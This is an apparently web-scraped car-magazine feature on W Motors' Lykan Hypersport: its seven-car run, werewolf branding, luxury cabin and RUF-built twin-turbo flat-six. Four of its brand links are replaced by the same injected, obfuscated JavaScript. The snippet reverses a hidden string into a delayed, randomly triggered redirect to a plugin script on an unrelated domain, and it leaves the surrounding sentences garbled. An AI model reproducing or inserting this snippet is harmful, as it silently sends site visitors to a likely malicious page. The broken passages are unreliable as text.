Not wishing to go up against the Italian might of the prancing horse or the raging bull is fair enough, and in that respect W Motors has more in common with the similarly exclusive, eye-wateringly expensive $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/bugatti/” target=”_blank”>Bugattis and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/koenigsegg/” target=”_blank”>Koenigseggs of this world. But rather than go for a round-numbered 5, 10 or 15-strong production run, only seven examples of the Lykan will be produced.
“We wanted to make something exclusive, and ten was too much. We’re based in Dubai and I wanted to show that we’re an Arabic company, so seven represents the seven emirates. At the same time ‘7’ is a V shape in Arabic, and if you look closely everywhere you can see this in the design of the car: the wheels, the rims, the rear and front lights, the roof, and even the grille. Then there’s the seven wonders of the world; seven days of the week; lucky number seven; seven continents. It was just the perfect number for our first car.”
A little $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/lamborghini/” target=”_blank”>Lamborghini-ish admittedly in its aggressively carved, futuristic design ethic, the new Lykan – which sits on 19-inch wheels at the front and 20-inch example at the rear – is much more than a few nicely sculpted body panels coated with expensive paint. Each of the curves (apparently) traverse towards one central point of the bodywork, including the central pillars. The rear-mounted doors arc backwards to offer a more theatrical climb into the low, low driver’s seat, thanks in part to the slammed MacPherson strut suspension. In-keeping with the vehicles’ exclusivity/luxury motif, a limited edition watch – the Klepcys – has been developed by noted horologist Cyrus, a $200,000 example of which is given away with each car. Both LED headlights are diamond-encrusted and completely hand built: you try asking Ella to develop and produce a headlight for just seven cars.
Where Ralph really gets excited with the design though is when both doors and the bonnet are opened, whereupon the hypercar – as he puts it – ‘transforms from a beautiful creature into a very vicious animal’. Said change leads us onto the W Motors name and the reason behind ‘Lykan’.
“W Motors means ‘Wolf Motors’. ‘Wolf’ was my name ever since I was a kid, so we called the company W, as in Wolf. The name ‘Lykan’ comes from the legend of the werewolf: when you close everything on the Lykan – the doors, the hood, etc – it’s a beautiful elegant car. As soon as you open them, it transforms into a really vicious werewolf. And the engine roar is just unbelievable. So we gave it the name Lykan. Every car we create is going to have a different name derived from the Wolf that can transform depending on the personality of the car. It’s the same with our logo. It’s a ‘W’, and it’s been designed like the claws of a wolf.”
While the moon-howling theme is trickier to spot inside, the cabin certainly showcases W Motors’ claims of luxury. The specially moulded seats boast a carbon fibre shell and gold wire stitching at the seams. The customisable digital dashboard has been designed by ID4Motion, and looks like it’s been plucked straight out of Tron. There’s an Elite Member concierge service from Quintessential Lifestyle, which gets you VIP access to the city’s wildest night spots or simply makes sure there’s a car waiting for you at the push of a button. There’s even a 3G internet router, Bluetooth connectivity, and rather nifty hands-free Gesture Recognition. The pièce de résistance though is the 9-inch Holographic Mid-Air Display that replaces the customary touchscreen and allows you to control the multimedia system and satnav.
It sounds very Deep Space 9, and given the exterior design we are wondering if the Lykan Hypersport can travel back through time too. As it turns out, technological advancement is just one of the things that makes W Motors stand out in a sea of well-established century old supercar manufacturers.
“Today in the hypercar category, everyone is going in one direction: more power, more speed. That’s their goal, and we don’t want to do this. When you pay $2 million for a car, you don’t want just a key to turn the engine on. You want to have something else. We wanted to find the missing link, so the Lykan is about luxury, the finish and the design that you don’t find on other cars. It has to have the technology you don’t find on other cars and the exclusivity. Initially performance wasn’t part of the main thing we were aiming for. It came along the way thanks to our partner RUF Automobile.”
That brings us nicely onto the chassis and engine. Inspired heavily by Ruf’s CTR Yellowbird, the W Motors board couldn’t wait to approach the German firm asking them to manufacture the most awesome six-cylinder they could muster, with matching chassis. Hence the 3746cc boxer type flat six with twin turbocharger strapped down under the rear hood. Powering the rear wheels via a seven-speed dual clutch PDK from $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/porsche/” target=”_blank”>Porsche, the flat-six kicks out 770hp, 708lb ft of torque, a 0-100kph time of 2.8 seconds, a 0-200kph time of 9.4 seconds, and a 385kph top speed (or 395kph, depending on whether you’re reading the press release or the official brochure). Forget howling at the moon: this six-cylinder wolf could probably drop the thing out of orbit.
Story concludes on page 3
